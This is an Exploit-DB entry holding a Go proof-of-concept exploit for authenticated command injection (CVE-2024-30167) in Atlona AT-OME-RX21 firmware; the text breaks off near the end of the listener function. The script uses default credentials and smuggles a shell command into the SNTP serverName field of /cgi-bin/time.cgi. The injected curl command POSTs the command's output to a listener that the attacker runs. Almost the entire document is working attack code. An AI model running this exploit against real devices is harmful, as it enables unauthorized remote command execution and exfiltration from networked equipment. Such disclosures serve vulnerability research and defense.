Exploit-DB #52513
Description: Atlona ATOMERX21 - Authenticated Command Injection
Type: local
Platform: multiple
Date: 2026-04-29
Author: rizzziom

Exploit:
// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main

import (
	"bytes"
	"context"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"
)

func main() {
	banner := `
		                                                                                  
                                                                                  
‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą ‚Ėą‚Ėą  ‚Ėą‚Ėą ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą    ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ  ‚ĖĄ‚Ėą‚Ėą‚ĖĄ ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ ‚Ėą‚Ėą  ‚Ėą‚Ėą    ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ  ‚ĖĄ‚Ėą‚Ėą‚ĖĄ ‚ĖĄ‚Ėą‚Ėą ‚ĖĄ‚Ėą‚Ėą‚ĖÄ‚ĖÄ‚ĖÄ ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą 
‚Ėą‚Ėą     ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚Ėą‚Ėą ‚Ėą‚Ėą‚ĖĄ‚ĖĄ   ‚ĖĄ‚ĖĄ‚ĖĄ ‚ĖĄ‚Ėą‚Ėą‚ĖÄ ‚Ėą‚Ėą  ‚Ėą‚Ėą ‚ĖĄ‚Ėą‚Ėą‚ĖÄ ‚ĖÄ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą ‚ĖĄ‚ĖĄ‚ĖĄ ‚ĖĄ‚ĖĄ‚Ėą‚Ėą ‚Ėą‚Ėą  ‚Ėą‚Ėą ‚Ėą‚Ėą ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ    ‚ĖĄ‚Ėą‚Ėą‚ĖÄ 
‚ĖÄ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą  ‚ĖÄ‚Ėą‚Ėą‚ĖÄ  ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ‚ĖĄ    ‚Ėą‚Ėą‚Ėą‚ĖĄ‚ĖĄ  ‚ĖÄ‚Ėą‚Ėą‚ĖÄ ‚Ėą‚Ėą‚Ėą‚ĖĄ‚ĖĄ     ‚Ėą‚Ėą    ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚ĖÄ  ‚ĖÄ‚Ėą‚Ėą‚ĖÄ  ‚Ėą‚Ėą ‚ĖÄ‚Ėą‚ĖĄ‚ĖĄ‚Ėą‚ĖÄ  ‚Ėą‚Ėą‚ĖÄ   
                    
			PoC by: github.com/RIZZZIOM
	`
	fmt.Println(banner)

	target := flag.String("t", "", "Target URL (e.g: http://example.com)")
	username := flag.String("u", "admin", "Username for authentication")
	password := flag.String("p", "Atlona", "Password for authentication")
	lport := flag.String("P", "4444", "listening port for command output")
	lhost := flag.String("l", "", "listening host for command output")
	command := flag.String("c", "", "Command to execute on the target")

	flag.Parse()
	if *target == "" || *lhost == "" || *command == "" {
		fmt.Println("ERROR: Missing required parameters")
		flag.PrintDefaults()
		os.Exit(1)
	}

	url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
	listener := *lhost + ":" + *lport

	// Buffered channel to prevent goroutine blocking if receiver exits early
	responseChan := make(chan struct{}, 1)

	// Create context for graceful shutdown coordination
	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	// Start HTTP server and get reference for shutdown
	server := httpServe(listener, responseChan, ctx)

	executeCommand(url, *username, *password, listener, *command)

	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

	// Timeout to prevent indefinite waiting
	responseTimeout := time.NewTimer(30 * time.Second)
	defer responseTimeout.Stop()

	select {
	case <-responseChan:
		time.Sleep(1 * time.Second)
	case <-sigChan:
		fmt.Printf("\n===Shutting Down===\n")
	case <-responseTimeout.C:
		fmt.Println("\n===Response Timeout - No response received===")
	}

	// Graceful server shutdown
	cancel() // Signal context cancellation
	shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer shutdownCancel()

	if err := server.Shutdown(shutdownCtx); err != nil {
		fmt.Printf("Server shutdown error: %v\n", err)
	}
}

func executeCommand(url, username, password, listener, command string) {
	// this func sends the commands to the target
	payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
	auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
	req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
	if err != nil {
		panic(err)
	}
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Basic "+auth)
	req.Header.Set("X-Requested-With", "XMLHttpRequest")

	client := &http.Client{
		Timeout: 15 * time.Second,
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Printf("ERROR: Request failed: %v\n", err)
		os.Exit(1)
	}
	defer resp.Body.Close()

	switch resp.StatusCode {
	case 200:
		fmt.Println("Command Injection Successful")
	case 401, 403:
		fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
	case 404:
		fmt.Printf("ERROR: Target Endpoint Not Found.\n")
	default:
		fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
		body, _ := io.ReadAll(resp.Body)
		if len(body) > 0 {
			fmt.Printf("Response Body: %s\n", string(body))
		}
		os.Exit(1)
	}
}

func getResponse(r *http.Request, responseChan chan struct{}) {
	// this function serves and http server and collects response
	if r.Method != http.MethodPost {
		fmt.Printf("Received non-POST Request(%s)\n", r.Method)
		return
	}
	defer r.Body.Close()
	fmt.Println("\n=====Received Response=====")

	body, err := io.ReadAll(r.Body)
	if err != nil {
		fmt.Printf("Failed To Read Response Body: %v\n", err)
		return
	}
	fmt.Println(string(body))

	// Non-blocking send to prevent goroutine deadlock
	select {
	case responseChan <- struct{}{}:
	default:
	}
}

func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
	// this function gets the command injection response from the custom header
	mux := http.NewServeMux()
	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		getResponse(r, responseChan)
		w.WriteHeader(http.StatusNoContent)
	})

	server := &http.Server{
		Addr:           listener,
		Handler:        mux,
		MaxHeaderBytes: 20 * 1024 * 1024,
		ReadTimeout:    30 * time.Second,
		WriteTimeout:   30 * time.Second,
		IdleTimeout:    60 * time.Second,
	}

	fmt.Printf("Listening on %s for response...\n", listener)

	go func() {
		if err := server.ListenAndServe(); err !=